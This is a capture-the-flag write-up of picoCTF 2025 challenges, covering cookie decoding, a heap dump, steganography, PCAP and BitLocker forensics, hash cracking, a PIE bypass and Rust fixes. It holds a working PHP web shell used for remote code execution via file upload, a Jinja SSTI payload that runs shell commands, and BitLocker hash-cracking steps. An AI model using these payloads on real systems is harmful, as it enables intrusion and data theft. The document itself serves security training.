Pico CTF 2025
Hey, fellow hackers! 🏴☠️
I’m dropping a writeup for the Pico CTF 2025 challenges!️. I teamed up with my squad, P4rad0x. Let’s jump straight into the action! 💻🔥
Web
Cookie Monster Secret Recipe

A challenge named after everyone’s favorite blue, cookie-loving monster. The challenge name hints at cookies, implying that authentication or sensitive information might be stored within browser cookies.

Upon visiting the website, I inspected the cookies using the browser's developer tools (Application > Cookies).
The cookie value was base64-encoded, which is a common method of simple obfuscation.
Decoding the base64 string revealed the flag.

picoCTF{c00k1e_m0nster_l0ves_c00kies_057BCB51}
Heap-Dump

A web-based challenge involving an API where memory dumps might be accessible.

Navigated through the web interface and identified api-docs
revealing various API endpoints.

One particular endpoint, /heapdump
, caught my attention as it could contain sensitive memory data. Using curl
, I accessed the /heapdump
and filtered through the output with grep
to extract the flag.
r1pp3r 🔱 god2eye ~/Documents/CTF/picoctf25
λ curl http://verbal-sleep.picoctf.net:52248/heapdump | grep "picoCTF{"
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
30 8748k 30 2690k 0 0 489k 0 0:00:17 0:00:05 0:00:12 633k
picoCTF{Pat!3nt_15_Th3_K3y_388d10f7}
100 8748k 100 8748k 0 0 1274k 0 0:00:06 0:00:06 --:--:-- 2430k
picoCTF{Pat!3nt_15_Th3_K3y_388d10f7}
n0s4n1ty 1

This challenge involved a file upload functionality that could be exploited for Remote Code Execution (RCE).

The website allowed users to upload files without restriction. I attempted uploading a basic PHP command injection script to execute arbitrary commands.
<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
if(isset($_GET['cmd']))
{
system($_GET['cmd']);
}
?>
</pre>
</body>
</html>
After successfully uploading the file, I accessed it via the browser and executed system commands. Using cat flag
, I retrieved the flag from the server.

picoCTF{wh47_c4n_u_d0_wPHP_a4ca6ea0}
SSTI1

A web form suggested the possibility of Server-Side Template Injection (SSTI), a common vulnerability in improperly sanitized template engines.
Entered {{ 7*7 }}
in the input field to confirm SSTI vulnerability. The output 49
verified that user input was being evaluated as code.


Once the vulnerability is confirmed, I can escalate it to execute system commands or read sensitive files. Extracted the flag using:
{{config.__class__.__init__.__globals__['os'].popen('cat flag').read()}}

Reversing
Flag Hunters

This challenge presented a Python script that dynamically sings a song, inserting the flag into the lyrics. The flag is stored in a file called flag.txt
and is referenced within the script.
import re
import time
# Read in flag from file
flag = open('flag.txt', 'r').read()
secret_intro = \
'''Pico warriors rising, puzzles laid bare,
Solving each challenge with precision and flair.
With unity and skill, flags we deliver,
The ether’s ours to conquer, '''\
+ flag + '\n'
song_flag_hunters = secret_intro +\
'''
[REFRAIN]
We’re flag hunters in the ether, lighting up the grid,
No puzzle too dark, no challenge too hid.
With every exploit we trigger, every byte we decrypt,
We’re chasing that victory, and we’ll never quit.
CROWD (Singalong here!);
RETURN
[VERSE1]
Command line wizards, we’re starting it right,
Spawning shells in the terminal, hacking all night.
Scripts and searches, grep through the void,
Every keystroke, we're a cypher's envoy.
Brute force the lock or craft that regex,
Flag on the horizon, what challenge is next?
REFRAIN;
Echoes in memory, packets in trace,
Digging through the remnants to uncover with haste.
Hex and headers, carving out clues,
Resurrect the hidden, it's forensics we choose.
Disk dumps and packet dumps, follow the trail,
Buried deep in the noise, but we will prevail.
REFRAIN;
Binary sorcerers, let’s tear it apart,
Disassemble the code to reveal the dark heart.
From opcode to logic, tracing each line,
Emulate and break it, this key will be mine.
Debugging the maze, and I see through the deceit,
Patch it up right, and watch the lock release.
REFRAIN;
Ciphertext tumbling, breaking the spin,
Feistel or AES, we’re destined to win.
Frequency, padding, primes on the run,
Vigenère, RSA, cracking them for fun.
Shift the letters, matrices fall,
Decrypt that flag and hear the ether call.
REFRAIN;
SQL injection, XSS flow,
Map the backend out, let the database show.
Inspecting each cookie, fiddler in the fight,
Capturing requests, push the payload just right.
HTML's secrets, backdoors unlocked,
In the world wide labyrinth, we’re never lost.
REFRAIN;
Stack's overflowing, breaking the chain,
ROP gadget wizardry, ride it to fame.
Heap spray in silence, memory's plight,
Race the condition, crash it just right.
Shellcode ready, smashing the frame,
Control the instruction, flags call my name.
REFRAIN;
END;
'''
MAX_LINES = 100
def reader(song, startLabel):
lip = 0
start = 0
refrain = 0
refrain_return = 0
finished = False
# Get list of lyric lines
song_lines = song.splitlines()
# Find startLabel, refrain and refrain return
for i in range(0, len(song_lines)):
if song_lines[i] == startLabel:
start = i + 1
elif song_lines[i] == '[REFRAIN]':
refrain = i + 1
elif song_lines[i] == 'RETURN':
refrain_return = i
# Print lyrics
line_count = 0
lip = start
while not finished and line_count < MAX_LINES:
line_count += 1
for line in song_lines[lip].split(';'):
if line == '' and song_lines[lip] != '':
continue
if line == 'REFRAIN':
song_lines[refrain_return] = 'RETURN ' + str(lip + 1)
lip = refrain
elif re.match(r"CROWD.*", line):
crowd = input('Crowd: ')
song_lines[lip] = 'Crowd: ' + crowd
lip += 1
elif re.match(r"RETURN [0-9]+", line):
lip = int(line.split()[1])
elif line == 'END':
finished = True
else:
print(line, flush=True)
time.sleep(0.5)
lip += 1
reader(song_flag_hunters, '[VERSE1]')
Understanding the code:
The script reads the flag from
flag.txt
and integrates it into the song lyrics.It defines a song structure using labeled sections (
[VERSE1]
,[REFRAIN]
, etc.).The function
reader(song, startLab``el)
processes the song lyrics and follows control flow logic based onRETURN
statements and user input.The
Crowd:
prompt expects input, but simply providingRETURN 0;RETURN 0
skips unnecessary interaction and proceeds to reveal the flag.The ';' is provided here because of
for line in song_lines[lip].split(';'):
splits the songs label with it and it will be converted into integer hereelif re.match(r"RETURN [0-9]+", line):
and it goes to the line "0" which is start of the program where it has the flag.
Connected to the remote instance via Netcat:
nc verbal-sleep.picoctf.net 59025
Observed the song lyrics being printed dynamically. Responded with RETURN 0;RETURN 0
when prompted, allowing the script to cycle through and eventually print the flag
r1pp3r 🔱 god2eye ~/Documents/CTF/picoctf25/Reversing
λ nc verbal-sleep.picoctf.net 59025
Command line wizards, we’re starting it right,
Spawning shells in the terminal, hacking all night.
Scripts and searches, grep through the void,
Every keystroke, we're a cypher's envoy.
Brute force the lock or craft that regex,
Flag on the horizon, what challenge is next?
We’re flag hunters in the ether, lighting up the grid,
No puzzle too dark, no challenge too hid.
With every exploit we trigger, every byte we decrypt,
We’re chasing that victory, and we’ll never quit.
Crowd: RETURN 0;RETURN 0
Echoes in memory, packets in trace,
Digging through the remnants to uncover with haste.
Hex and headers, carving out clues,
Resurrect the hidden, it's forensics we choose.
Disk dumps and packet dumps, follow the trail,
Buried deep in the noise, but we will prevail.
We’re flag hunters in the ether, lighting up the grid,
No puzzle too dark, no challenge too hid.
With every exploit we trigger, every byte we decrypt,
We’re chasing that victory, and we’ll never quit.
Crowd: RETURN 0
Pico warriors rising, puzzles laid bare,
Solving each challenge with precision and flair.
With unity and skill, flags we deliver,
The ether’s ours to conquer, picoCTF{70637h3r_f0r3v3r_a3d964ee}
[REFRAIN]
We’re flag hunters in the ether, lighting up the grid,
No puzzle too dark, no challenge too hid.
...
picoCTF{70637h3r_f0r3v3r_a3d964ee}
Forensics
RED

In this challenge, I was provided with a PNG file red.png and the word "RED" is all over the challenge.
The first step was to analyze the image using forensic tools. PNG files often hide information through steganography.
The zsteg
tool, commonly used for extracting hidden messages from PNG images, was employed for analysis.
r1pp3r 🔱 god2eye ~/Documents/CTF/picoctf25/Forensics
λ zsteg red.png
meta Poem .. text: "Crimson heart, vibrant and bold,\nHearts flutter at your sight.\nEvenings glow softly red,\nCherries burst with sweet life.\nKisses linger with your warmth.\nLove deep as merlot.\nScarlet leaves falling softly,\nBold in every stroke."
b1,rgba,lsb,xy .. text: "cGljb0NURntyM2RfMXNfdGgzX3VsdDFtNHQzX2N1cjNfZjByXzU0ZG4zNTVffQ==cGljb0NURntyM2RfMXNfdGgzX3VsdDFtNHQzX2N1cjNfZjByXzU0ZG4zNTVffQ==cGljb0NURntyM2RfMXNfdGgzX3VsdDFtNHQzX2N1cjNfZjByXzU0ZG4zNTVffQ==cGljb0NURntyM2RfMXNfdGgzX3VsdDFtNHQzX2N1cjNfZjByXzU0ZG4zNTVffQ=="
b1,rgba,msb,xy .. file: OpenPGP Public Key
b2,g,lsb,xy .. text: "ET@UETPETUUT@TUUTD@PDUDDDPE"
b2,rgb,lsb,xy .. file: OpenPGP Secret Key
b2,bgr,msb,xy .. file: OpenPGP Public Key
b2,rgba,lsb,xy .. file: OpenPGP Secret Key
b2,rgba,msb,xy .. text: "CIkiiiII"
b2,abgr,lsb,xy .. file: OpenPGP Secret Key
b2,abgr,msb,xy .. text: "iiiaakikk"
b3,rgba,msb,xy .. text: "#wb#wp#7p"
b3,abgr,msb,xy .. text: "7r'wb#7p"
b4,b,lsb,xy .. file: 0421 Alliant compact executable not stripped
Running zsteg red.png
revealed a Base64-encoded string. Decoding the Base64 string revealed the flag.
r1pp3r 🔱 god2eye ~/Documents/CTF/picoctf25/Forensics
λ echo "cGljb0NURntyM2RfMXNfdGgzX3VsdDFtNHQzX2N1cjNfZjByXzU0ZG4zNTVffQ==cGljb0NURntyM2RfMXNfdGgzX3VsdDFtNHQzX2N1cjNfZjByXzU0ZG4zNTVffQ==cGljb0NURntyM2RfMXNfdGgzX3VsdDFtNHQzX2N1cjNfZjByXzU0ZG4zNTVffQ==cGljb0NURntyM2RfMXNfdGgzX3VsdDFtNHQzX2N1cjNfZjByXzU0ZG4zNTVffQ==" | base64 -d
picoCTF{r3d_1s_th3_ult1m4t3_cur3_f0r_54dn355_}picoCTF{r3d_1s_th3_ult1m4t3_cur3_f0r_54dn355_}picoCTF{r3d_1s_th3_ult1m4t3_cur3_f0r_54dn355_}picoCTF{r3d_1s_th3_ult1m4t3_cur3_f0r_54dn355_}%
picoCTF{r3d_1s_th3_ult1m4t3_cur3_f0r_54dn355_}
Ph4nt0m 1ntrud3r

The challenge provided a PCAP (Packet Capture) file myNetworkTraffic.pcap. Given the nature of network forensic challenges, I anticipated the flag might be hidden within packet data.
First, I opened the PCAP file using Wireshark. Observed a significant amount of TCP segment data, possibly encrypted or encoded.

Used tshark
to extract TCP segment data. The data is indeed encoded using base64 and I decoded it.
r1pp3r 🔱 god2eye ~/Documents/CTF/picoctf25/Forensics
λ tshark -Y "frame.len != 48" -T fields -e "tcp.segment_data" -r myNetworkTraffic.pcap | xxd -r -p | base64 -d
nt_th4t}e1ff063_34sy_t{1t_w4spicoCTFbh_4r_2
There is so much unwanted data with frame length of "48" so i removed it and the remaining is the flag in wrong order.
nt_th4t } e1ff063 _34sy_t {1t_w4s picoCTF bh_4r_2
I assembled it as flag.
picoCTF{1t_w4snt_th4t_34sy_tbh_4r_2e1ff063}
Bitlocker-1

The challenge provided a Windows BitLocker-encrypted image file (MBR Boot Sector File) bitlocker.dd. The goal was to unlock and extract the flag.
First step for Identifying the file type I used the file
command to confirm that the provided .dd
file was an MBR boot sector with BitLocker encryption.
r1pp3r 🔱 god2eye ~/Documents/CTF/picoctf25/Forensics
λ file bitlocker-1.dd
bitlocker-1.dd: DOS/MBR boot sector, code offset 0x58+2, OEM-ID "-FVE-FS-", sectors/cluster 8, reserved sectors 0, Media descriptor 0xf8, sectors/track 63, heads 255, hidden sectors 124499968, FAT (32 bit), sectors/FAT 8160, serial number 0, unlabeled; NTFS, sectors/track 63, physical drive 0x1fe0, $MFT start cluster 393217, serial number 02020454d414e204f, checksum 0x41462020
Secondly for the extracting password hashes I used bitlocker2john
to extract BitLocker password hashes from the image file.
r1pp3r 🔱 god2eye ~/Documents/CTF/picoctf25/Forensics
λ bitlocker2john -i bitlocker-1.dd > bithash
r1pp3r 🔱 god2eye ~/Documents/CTF/picoctf25/Forensics
λ cat bithash
Encrypted device bitlocker-1.dd opened, size 100MB
Salt: 2b71884a0ef66f0b9de049a82a39d15b
RP Nonce: 00be8a46ead6da0106000000
RP MAC: a28f1a60db3e3fe4049a821c3aea5e4b
RP VMK: a1957baea68cd29488c0f3f6efcd4689e43f8ba3120a33048b2ef2c9702e298e4c260743126ec8bd29bc6d58
UP Nonce: d04d9c58eed6da010a000000
UP MAC: 68156e51e53f0a01c076a32ba2b2999a
UP VMK: fffce8530fbe5d84b4c19ac71f6c79375b87d40c2d871ed2b7b5559d71ba31b6779c6f41412fd6869442d66d
User Password hash:
$bitlocker$0$16$cb4809fe9628471a411f8380e0f668db$1048576$12$d04d9c58eed6da010a000000$60$68156e51e53f0a01c076a32ba2b2999afffce8530fbe5d84b4c19ac71f6c79375b87d40c2d871ed2b7b5559d71ba31b6779c6f41412fd6869442d66d
Hash type: User Password with MAC verification (slower solution, no false positives)
$bitlocker$1$16$cb4809fe9628471a411f8380e0f668db$1048576$12$d04d9c58eed6da010a000000$60$68156e51e53f0a01c076a32ba2b2999afffce8530fbe5d84b4c19ac71f6c79375b87d40c2d871ed2b7b5559d71ba31b6779c6f41412fd6869442d66d
Hash type: Recovery Password fast attack
$bitlocker$2$16$2b71884a0ef66f0b9de049a82a39d15b$1048576$12$00be8a46ead6da0106000000$60$a28f1a60db3e3fe4049a821c3aea5e4ba1957baea68cd29488c0f3f6efcd4689e43f8ba3120a33048b2ef2c9702e298e4c260743126ec8bd29bc6d58
Hash type: Recovery Password with MAC verification (slower solution, no false positives)
$bitlocker$3$16$2b71884a0ef66f0b9de049a82a39d15b$1048576$12$00be8a46ead6da0106000000$60$a28f1a60db3e3fe4049a821c3aea5e4ba1957baea68cd29488c0f3f6efcd4689e43f8ba3120a33048b2ef2c9702e298e4c260743126ec8bd29bc6d58
For cracking the hash, I used hashcat
, which is a popular tool to for cracking hashes. It successfully cracked the hash and retrieved the password -> jacqueline

After that, I created a mount point and used dislocker
tool to unlock BitLocker.
r1pp3r 🔱 god2eye ~/Documents/CTF/picoctf25/Forensics
λ sudo mkdir -p /media/bitlocker1
r1pp3r 🔱 god2eye ~/Documents/CTF/picoctf25/Forensics
λ sudo mkdir -p /media/bitlocker1mount
r1pp3r 🔱 god2eye ~/Documents/CTF/picoctf25/Forensics
λ sudo dislocker bitlocker-1.dd -ujacqueline -- /media/bitlocker1
Then I mounted the decrypted BitLocker volume and accessed the file system to read the flag.txt
file.
r1pp3r 🔱 god2eye ~/Documents/CTF/picoctf25/Forensics
λ sudo mount -o loop /media/bitlocker1/dislocker-file /media/bitlocker1mount
r1pp3r 🔱 god2eye ~/Documents/CTF/picoctf25/Forensics
λ cd /media/bitlocker1mount
r1pp3r 🔱 god2eye /media/bitlocker1mount
λ ls
'$RECYCLE.BIN' 'System Volume Information' flag.txt
r1pp3r 🔱 god2eye /media/bitlocker1mount
λ cat flag.txt
picoCTF{us3_b3tt3r_p4ssw0rd5_pl5!_3242adb1}
Cryptography
HashCrack

In this challenge, I had to connect to a remote server using netcat
. Upon connection, the server presented a series of hashed passwords that I needed to crack in order to progress. The hashes were of different types, including MD5, SHA-1, and SHA-256.
Upon connecting to the server:
r1pp3r 🔱 god2eye ~/Documents/CTF/picoctf25/Forensics
λ nc verbal-sleep.picoctf.net 57192
Welcome!! Looking For the Secret?
I received the following prompts:
MD5 Hash
We have identified a hash: 482c811da5d5b4bc6d497ffa98491e38
Enter the password for identified hash: password123
Correct! You've cracked the MD5 hash with no secret found!
Hash:
482c811da5d5b4bc6d497ffa98491e38
Cracked password:
password123
Response: "Correct! You've cracked the MD5 hash with no secret found!"
SHA-1 Hash
Flag is yet to be revealed!! Crack this hash: b7a875fc1ea228b9061041b7cec4bd3c52ab3ce3
Enter the password for the identified hash: letmein
Correct! You've cracked the SHA-1 hash with no secret found!
Hash:
b7a875fc1ea228b9061041b7cec4bd3c52ab3ce3
Cracked password:
letmein
Response: "Correct! You've cracked the SHA-1 hash with no secret found!"
SHA-256 Hash
Almost there!! Crack this hash: 916e8c4f79b25028c9e467f1eb8eee6d6bbdff965f9928310ad30a8d88697745
Enter the password for the identified hash: qwerty098
Correct! You've cracked the SHA-256 hash with a secret found.
Hash:
916e8c4f79b25028c9e467f1eb8eee6d6bbdff965f9928310ad30a8d88697745
Cracked password:
qwerty098
Response: "Correct! You've cracked the SHA-256 hash with a secret found."
The final response revealed the flag:
picoCTF{UseStr0nG_h@shEs_&PaSswDs!_29028be8}
Even RSA Can Be Broken???

In this challenge, I was given an RSA encryption script encrypt.py and had to decrypt an encrypted flag. The server provided the RSA parameters: N
(modulus), e
(public exponent), and the ciphertext.
Upon connecting to the server:
r1pp3r 🔱 god2eye ~/Documents/CTF/picoctf25
λ nc verbal-sleep.picoctf.net 58750
N: 17470496159511701402121574638822269092184012789449285800792030675204077962450373373146334390674974267313767908949654035842664982830622229546668406401194662
e: 65537
cyphertext: 2483140779336152632023994609233273563340180171290952468982510077363722351284629081565020448129911718709969178774488250709110218074958647793528596043594831
Understanding the Encryption Code
The encryption process in encrypt.py
follows the standard RSA encryption technique:
from sys import exit
from Crypto.Util.number import bytes_to_long, inverse
from setup import get_primes
e = 65537
def gen_key(k):
"""
Generates RSA key with k bits
"""
p,q = get_primes(k//2)
N = p*q
d = inverse(e, (p-1)*(q-1))
return ((N,e), d)
def encrypt(pubkey, m):
N,e = pubkey
return pow(bytes_to_long(m.encode('utf-8')), e, N)
def main(flag):
pubkey, _privkey = gen_key(1024)
encrypted = encrypt(pubkey, flag)
return (pubkey[0], encrypted)
if __name__ == "__main__":
flag = open('flag.txt', 'r').read()
flag = flag.strip()
N, cypher = main(flag)
print("N:", N)
print("e:", e)
print("cyphertext:", cypher)
exit()
So, i used an online tool dcode.fr which has RSA decryption function.

The decrypted message revealed the flag. picoCTF{tw0_1$_pr!m33991588e}
Binary Exploitation
PIE TIME

In this challenge, I was provided with a remote connection to a binary running on a server:
$ nc rescued-float.picoctf.net 49325
Additionally, we receive two downloadable files:
Analyzing the Source Code
The provided vuln.c code snippet is as follows:
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void segfault_handler() {
printf("Segfault Occurred, incorrect address.\n");
exit(0);
}
int win() {
FILE *fptr;
char c;
printf("You won!\n");
// Open file
fptr = fopen("flag.txt", "r");
if (fptr == NULL)
{
printf("Cannot open file.\n");
exit(0);
}
// Read contents from file
c = fgetc(fptr);
while (c != EOF)
{
printf ("%c", c);
c = fgetc(fptr);
}
printf("\n");
fclose(fptr);
}
int main() {
signal(SIGSEGV, segfault_handler);
setvbuf(stdout, NULL, _IONBF, 0); // _IONBF = Unbuffered
printf("Address of main: %p\n", &main);
unsigned long val;
printf("Enter the address to jump to, ex => 0x12345: ");
scanf("%lx", &val);
printf("Your input: %lx\n", val);
void (*foo)(void) = (void (*)())val;
foo();
}
Understanding the code:
The program prints the address of the
main()
function.It prompts the user for an address to jump to.
It then treats the given input as a function pointer and executes it.
If an incorrect address is given, a segfault handler prevents crashes.
The
win()
function, which prints the flag, is not explicitly called anywhere in the program.
The goal? Find and provide the correct address for win()
so the program jumps to it!
Bypassing Position-Independent Executable (PIE)
Since PIE is enabled, the memory addresses change on each execution. However, the offset between functions remains the same. To determine this offset, we analyze the binary using Radare2:
r1pp3r 🔱 god2eye ~/Documents/CTF/picoctf25/bin_exp
λ r2 -d -A vuln
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze function calls (aac)
[x] Analyze len bytes of instructions for references (aar)
[x] Finding and parsing C++ vtables (avrr)
[x] Skipping type matching analysis in debugger mode (aaft)
[x] Propagate noreturn information (aanr)
[x] Use -AA or aaaa to perform additional experimental analysis.
[0x7f468b649b00]> afl
0x55c4b42d41a0 1 47 entry0
0x55c4b42d6fe0 1 4121 reloc.__libc_start_main
0x55c4b42d41d0 4 41 -> 34 sym.deregister_tm_clones
0x55c4b42d4200 4 57 -> 51 sym.register_tm_clones
0x55c4b42d4240 5 57 -> 54 sym.__do_global_dtors_aux
0x55c4b42d40e0 1 11 sym..plt.got
0x55c4b42d4280 1 9 entry.init0
0x55c4b42d4000 3 27 sym._init
0x55c4b42d4480 1 5 sym.__libc_csu_fini
0x55c4b42d4488 1 13 sym._fini
0x55c4b42d4289 1 30 sym.segfault_handler
0x55c4b42d4410 4 101 sym.__libc_csu_init
0x55c4b42d42a7 6 150 sym.win
0x55c4b42d433d 3 204 main
0x55c4b42d4150 1 11 sym.imp.signal
0x55c4b42d4160 1 11 sym.imp.setvbuf
0x55c4b42d4130 1 11 sym.imp.printf
0x55c4b42d4180 1 11 sym.imp.__isoc99_scanf
0x55c4b42d4120 1 11 sym.imp.__stack_chk_fail
0x55c4b42d40f0 1 11 sym.imp.putchar
0x55c4b42d4100 1 11 sym.imp.puts
0x55c4b42d4110 1 11 sym.imp.fclose
0x55c4b42d4140 1 11 sym.imp.fgetc
0x55c4b42d3000 3 126 -> 181 loc.imp._ITM_deregisterTMCloneTable
0x55c4b42d4170 1 11 sym.imp.fopen
0x55c4b42d4190 1 11 sym.imp.exit
[0x7f468b649b00]>
Observations:
The offset between
win()
andmain()
is 150 bytes.When we connect to the remote server, it prints the dynamically assigned main() address.
Thus, we can calculate win()
address:
win_address = main_address - 150
Connecting to the challenge server:
r1pp3r 🔱 god2eye ~/Documents/CTF/picoctf25/bin_exp
λ nc rescued-float.picoctf.net 49325
Address of main: 0x576b49c6a33d
Enter the address to jump to, ex => 0x12345: 0x576b49c6a2a7
Your input: 576b49c6a2a7
You won!
picoCTF{b4s1c_p051t10n_1nd3p3nd3nc3_3d38fb4b}
picoCTF{b4s1c_p051t10n_1nd3p3nd3nc3_3d38fb4b}
General Skills
Rust Fixme 1

This is a challenges which presents a piece of Rust code with several syntax and logical errors. The goal is to identify and fix these issues to successfully decrypt an encrypted message.
Given Rust code with errors:
use xor_cryptor::XORCryptor;
fn main() {
// Key for decryption
let key = String::from("CSUCKS") // How do we end statements in Rust?
// Encrypted flag values
let hex_values = ["41", "30", "20", "63", "4a", "45", "54", "76", "01", "1c", "7e", "59", "63", "e1", "61", "25", "7f", "5a", "60", "50", "11", "38", "1f", "3a", "60", "e9", "62", "20", "0c", "e6", "50", "d3", "35"];
// Convert the hexadecimal strings to bytes and collect them into a vector
let encrypted_buffer: Vec<u8> = hex_values.iter()
.map(|&hex| u8::from_str_radix(hex, 16).unwrap())
.collect();
// Create decrpytion object
let res = XORCryptor::new(&key);
if res.is_err() {
ret; // How do we return in rust?
}
let xrc = res.unwrap();
// Decrypt flag and print it out
let decrypted_buffer = xrc.decrypt_vec(encrypted_buffer);
println!(
":?", // How do we print out a variable in the println function?
String::from_utf8_lossy(&decrypted_buffer)
);
}
Fixed Rust code:
use xor_cryptor::XORCryptor;
fn main() {
// Key for decryption
let key = String::from("CSUCKS"); // Fixed missing semicolon
// Encrypted flag values
let hex_values = [
"41", "30", "20", "63", "4a", "45", "54", "76", "01", "1c", "7e", "59", "63", "e1", "61",
"25", "7f", "5a", "60", "50", "11", "38", "1f", "3a", "60", "e9", "62", "20", "0c", "e6",
"50", "d3", "35",
];
// Convert the hexadecimal strings to bytes and collect them into a vector
let encrypted_buffer: Vec<u8> = hex_values
.iter()
.map(|&hex| u8::from_str_radix(hex, 16).unwrap())
.collect();
// Create decryption object
let res = XORCryptor::new(&key);
if res.is_err() {
return; // Fixed incorrect "ret;" to "return;"
}
let xrc = res.unwrap();
// Decrypt flag and print it out
let decrypted_buffer = xrc.decrypt_vec(encrypted_buffer);
println!(
"{}",
String::from_utf8_lossy(&decrypted_buffer) // Fixed incorrect ":?" to "{}"
);
}
Key Fixes and Explanation:
Fixed missing semicolon (
;
) → Rust requires semicolons to terminate statements.Replaced
ret;
withreturn;
→ Rust does not have aret
keyword.Corrected
println!
syntax → Used{}
instead of:?
for formatted output.Passed
encrypted_buffer
as a reference → Ensures proper memory handling.
picoCTF{4r3_y0u_4_ru$t4c30n_n0w?}
Rust Fixme 2

In this it requires modifying a function so that it correctly updates a mutable string passed as an argument.
Given Rust code with errors:
use xor_cryptor::XORCryptor;
fn decrypt(encrypted_buffer:Vec<u8>, borrowed_string: &String){ // How do we pass values to a function that we want to change?
// Key for decryption
let key = String::from("CSUCKS");
// Editing our borrowed value
borrowed_string.push_str("PARTY FOUL! Here is your flag: ");
// Create decrpytion object
let res = XORCryptor::new(&key);
if res.is_err() {
return; // How do we return in rust?
}
let xrc = res.unwrap();
// Decrypt flag and print it out
let decrypted_buffer = xrc.decrypt_vec(encrypted_buffer);
borrowed_string.push_str(&String::from_utf8_lossy(&decrypted_buffer));
println!("{}", borrowed_string);
}
fn main() {
// Encrypted flag values
let hex_values = ["41", "30", "20", "63", "4a", "45", "54", "76", "01", "1c", "7e", "59", "63", "e1", "61", "25", "0d", "c4", "60", "f2", "12", "a0", "18", "03", "51", "03", "36", "05", "0e", "f9", "42", "5b"];
// Convert the hexadecimal strings to bytes and collect them into a vector
let encrypted_buffer: Vec<u8> = hex_values.iter()
.map(|&hex| u8::from_str_radix(hex, 16).unwrap())
.collect();
let party_foul = String::from("Using memory unsafe languages is a: "); // Is this variable changeable?
decrypt(encrypted_buffer, &party_foul); // Is this the correct way to pass a value to a function so that it can be changed?
}
Fixed Rust code:
use xor_cryptor::XORCryptor;
fn decrypt(encrypted_buffer: Vec<u8>, borrowed_string: &mut String) { // Fixed: Use &mut String for modification
// Key for decryption
let key = String::from("CSUCKS");
// Editing our borrowed value
borrowed_string.push_str("PARTY FOUL! Here is your flag: ");
// Create decryption object
let res = XORCryptor::new(&key);
if res.is_err() {
return;
}
let xrc = res.unwrap();
// Decrypt flag and append it
let decrypted_buffer = xrc.decrypt_vec(encrypted_buffer);
borrowed_string.push_str(&String::from_utf8_lossy(&decrypted_buffer));
println!("{}", borrowed_string);
}
fn main() {
// Encrypted flag values
let hex_values = [
"41", "30", "20", "63", "4a", "45", "54", "76", "01", "1c", "7e", "59", "63", "e1", "61",
"25", "0d", "c4", "60", "f2", "12", "a0", "18", "03", "51", "03", "36", "05", "0e", "f9",
"42", "5b",
];
// Convert hex strings to bytes
let encrypted_buffer: Vec<u8> = hex_values
.iter()
.map(|&hex| u8::from_str_radix(hex, 16).unwrap())
.collect();
let mut party_foul = String::from("Using memory unsafe languages is a: "); // Fixed: Make this mutable
decrypt(encrypted_buffer, &mut party_foul); // Fixed: Pass mutable reference
}
Key Fixes and Explanation:
Used
&mut String
→ Allows modification ofborrowed_string
inside the function.Declared
party_foul
as mutable →let mut party_foul = String::from("...")
.Passed
party_foul
as&mut
→ Enables mutation withindecrypt()
.
picoCTF{4r3_y0u_h4v1n5_fun_y31?}
Rust Fixme 3

This challenge focuses on eliminating unnecessary unsafe
operations and ensuring safe memory handling in Rust.
Given Rust code with errors:
use xor_cryptor::XORCryptor;
fn decrypt(encrypted_buffer: Vec<u8>, borrowed_string: &mut String) {
// Key for decryption
let key = String::from("CSUCKS");
// Editing our borrowed value
borrowed_string.push_str("PARTY FOUL! Here is your flag: ");
// Create decryption object
let res = XORCryptor::new(&key);
if res.is_err() {
return;
}
let xrc = res.unwrap();
// Did you know you have to do "unsafe operations in Rust?
// https://doc.rust-lang.org/book/ch19-01-unsafe-rust.html
// Even though we have these memory safe languages, sometimes we need to do things outside of the rules
// This is where unsafe rust comes in, something that is important to know about in order to keep things in perspective
// unsafe {
// Decrypt the flag operations
let decrypted_buffer = xrc.decrypt_vec(encrypted_buffer);
// Creating a pointer
let decrypted_ptr = decrypted_buffer.as_ptr();
let decrypted_len = decrypted_buffer.len();
// Unsafe operation: calling an unsafe function that dereferences a raw pointer
let decrypted_slice = std::slice::from_raw_parts(decrypted_ptr, decrypted_len);
borrowed_string.push_str(&String::from_utf8_lossy(decrypted_slice));
// }
println!("{}", borrowed_string);
}
fn main() {
// Encrypted flag values
let hex_values = ["41", "30", "20", "63", "4a", "45", "54", "76", "12", "90", "7e", "53", "63", "e1", "01", "35", "7e", "59", "60", "f6", "03", "86", "7f", "56", "41", "29", "30", "6f", "08", "c3", "61", "f9", "35"];
// Convert the hexadecimal strings to bytes and collect them into a vector
let encrypted_buffer: Vec<u8> = hex_values.iter()
.map(|&hex| u8::from_str_radix(hex, 16).unwrap())
.collect();
let mut party_foul = String::from("Using memory unsafe languages is a: ");
decrypt(encrypted_buffer, &mut party_foul);
}
Fixed Rust code:
use xor_cryptor::XORCryptor;
fn decrypt(encrypted_buffer: Vec<u8>, borrowed_string: &mut String) {
// Key for decryption
let key = String::from("CSUCKS");
// Editing our borrowed value
borrowed_string.push_str("PARTY FOUL! Here is your flag: ");
// Create decryption object
let res = XORCryptor::new(&key);
if res.is_err() {
return;
}
let xrc = res.unwrap();
// Decrypt the flag
let decrypted_buffer = xrc.decrypt_vec(encrypted_buffer);
// Append decrypted flag to string
borrowed_string.push_str(&String::from_utf8_lossy(&decrypted_buffer));
println!("{}", borrowed_string);
}
fn main() {
// Encrypted flag values
let hex_values = [
"41", "30", "20", "63", "4a", "45", "54", "76", "12", "90", "7e", "53", "63", "e1", "01",
"35", "7e", "59", "60", "f6", "03", "86", "7f", "56", "41", "29", "30", "6f", "08", "c3",
"61", "f9", "35",
];
// Convert hex strings to bytes
let encrypted_buffer: Vec<u8> = hex_values
.iter()
.map(|&hex| u8::from_str_radix(hex, 16).unwrap())
.collect();
let mut party_foul = String::from("Using memory unsafe languages is a: ");
decrypt(encrypted_buffer, &mut party_foul);
}
Key Fixes and Explanation:
Removed unnecessary raw pointer operations → Rust is memory-safe by default; avoid
unsafe
unless absolutely needed.Used a simple reference (
&decrypted_buffer
) instead of unsafe slices.Preserved Rust’s memory safety principles → The corrected code works efficiently without unsafe blocks.
picoCTF{n0w_y0uv3_f1x3d_1h3m_411}
Last updated